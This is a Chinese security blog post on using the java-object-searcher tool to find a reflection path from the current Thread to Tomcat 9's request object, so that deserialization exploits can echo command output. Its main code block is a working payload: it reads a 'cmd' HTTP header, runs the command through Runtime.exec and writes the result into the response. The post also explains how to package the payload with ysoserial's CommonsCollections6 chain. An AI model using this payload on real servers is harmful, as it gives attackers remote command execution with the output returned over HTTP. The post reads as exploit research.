1 前言
本文并没有什么新的姿势点,主要是在seebug上偶然看到c0ny1 师傅的一篇《半自动化挖掘 request 实现多种中间件回显》,该文提出了一种半自动化挖掘中间件回显的方法,并且也给出了相应的使用方法,网上也没有找到相应的说明说明,于是本着研究的心态开始使用这款工具,看看是否能够达到自动化构造回显的目的。
2 工具介绍
工具地址: https://github.com/c0ny1/java-object-searcher
在上述提到的文中以Tomcat 7.0.94为例进行了挖掘,那么本文以Tomcat 9.0.30为例进行回显构造,下面是工具的使用方法
以搜索request对象为例,选好搜索器,并根据要搜索的目标特点构造好关键字(必须)和黑名单(非必须),可写如下搜索代码到IDEA的Evaluate
中执行。
1. 将项目的java引入到目标应用的classpath中
2. 编写调用代码搜索目标对象
以搜索request对象为例,选好搜索器,并根据要搜索的目标特点构造好关键字(必须)和黑名单(非必须),可写如下搜索代码到IDEA的Evaluate
中执行。
1
2
3
4
5
6
7
8
9
10
11
12
|
// append java-object-searcher-0.1-jar-with-dependencies.jar to library of project
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type(“ServletRequest”).build());
keys.add(new Keyword.Builder().setField_type(“RequstGroup”).build());
keys.add(new Keyword.Builder().setField_type(“RequestInfo”).build());
keys.add(new Keyword.Builder().setField_type(“RequestGroupInfo”).build());
keys.add(new Keyword.Builder().setField_type(“Request”).build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setMax_search_depth(10);
searcher.setReport_save_path(“/Users/yinhongji/Desktop”);
searcher.searchObject();
|
3 实践
首先通过IDEA创建一个默认的Webapp应用,加入servlet拦截器,并且加入相应的反序列化依赖包(commons-collections-3.1.jar)
上面提到的java-object-searcher通过git下载下来,然后mvn clean package -Dmaven.test.skip=true即可打包成jar包,并且将其加入到项目依赖库中
通过hackbar往目标地址post任意内容,同时下断点即可开始进行调试,
跟完整个流程多说一句,其实构造回显本身并不是难事,难就难在一个对象有多个属性,同时多个属性下面又有多个对象,这也就不得不提到seebug那篇文章提到的一个很重要的点,那就是挖掘深度的问题,人工寻找难免效率低下,那么通过工具来寻找就会大大提高挖掘的速度。
通过执行表达式来进行request对象的寻找,当出现result后即为搜索结束,那么相应的结果文件就会在save_path目录下,主要分为两个文件:SearchRequstByBFS_log_20200714142817.txt和SearchRequstByBFS_result_20200714142817.txt,这里一个为搜寻过程的文件,一个为搜寻结果的文件
搜寻过程其实就是遍历每一个类,然后二次遍历,这里搜寻深度设置的10,这里有点类似二叉树的数据结构,树的高度为10,如果树中出现我们想要的对象则把它记录到结果文件中去
看结果文件就比较清楚了,给出了从Thread对象到request对象的所有链路
这类结果文件的最后两个记录,清楚的记录了从Thread到最终Request的链路,为了进行验证,这里再通过Thread.currentThread()来对这条链路进行验证
那么到这里这条链路就已经恍然大悟了,上面的半自动化挖掘的确是可行的,那么接下来构造反射来更改这里的req对象即可(代码没用try/catch,并不是那么的严谨)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
public void Tomcat9Echo() throws Exception{
Object obj = Thread.currentThread();
java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField(“group”);
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField(“threads”);
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for(int i=0;i<threads.length;i++){
Thread thread = threads[i];
if(thread != null && thread.getName().contains(“http”) && thread.getName().contains(“Client”)){
field = thread.getClass().getDeclaredField(“target”);
field.setAccessible(true);
obj = field.get(thread);
field = obj.getClass().getDeclaredField(“this$0”);
field.setAccessible(true);
org.apache.tomcat.util.net.NioEndpoint nioEndpoint = (org.apache.tomcat.util.net.NioEndpoint) field.get(obj);
obj = nioEndpoint.getHandler();
field = obj.getClass().getDeclaredField(“global”);
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField(“processors”);
field.setAccessible(true);
obj = field.get(obj);
java.util.ArrayList processors = (java.util.ArrayList) obj;
for(int m=0;m<processors.size();m++){
Object o = processors.get(m);
if(o != null && o.getClass().toString().contains(“RequestInfo”)){
field = o.getClass().getDeclaredField(“req”);
field.setAccessible(true);
obj = field.get(o);
if(!obj.toString().contains(“null”)) {
org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
String cmd = request.getHeader(“cmd”);
java.io.InputStream in = java.lang.Runtime.getRuntime().exec(cmd).getInputStream();
java.io.ByteArrayOutputStream byteArrayOutputStream = new java.io.ByteArrayOutputStream();
byte[] buff = new byte[1024];
int rc = 0;
while ((rc = in.read(buff, 0, 1024)) > 0) {
byteArrayOutputStream.write(buff, 0, rc);
}
byte[] buf = byteArrayOutputStream.toByteArray();
org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();
bc.setBytes(buf, 0, buf.length);
request.getResponse().doWrite(java.nio.ByteBuffer.wrap(buf));
}
}
}
}
}
}
|
把这个加到ysoserial中的createTemplatesImpl中去,然后通过CommonsCollections6来构造序列化数据即可
到这里其实就已经大功告成了,那么换到其他中间件,如原文所说也是可行的,笔者这里也尝试了Tomcat 7.0.94,也发现了文中提到的构造链,所以说利用该工具可以很好的找到一种通用回显构造的方法。
4 后记
该工具当然也会存在一定问题,网上也有人提出了通用的回显构造,通过反射全局的context对象来修改response,上面提到的工具似乎设定了搜索的起点是Thread对象,因此存在一定的局限性,没办法说做到tomcat7、8、9通杀,事实上在笔者的尝试过程中,一些提及的通用方法也并不是那么通用,仍存在一定的局限性,所以在这种情况下,如何利用工具来解决这样的问题会更加的有建设意义。
今儿在freebuf上突然看到一篇取证的博文,想到以前一直想对自己的电脑进行一次取证分析,大概的情形是电脑放在宿舍,回来时发现屏幕是亮的,竟然显示的是桌面,这时候就不禁要想一想是不是我的电脑被人动过了,可是自己的取证水平有限,什么翻看系统日志,看了看去都找不到…
请登录后发表评论
注册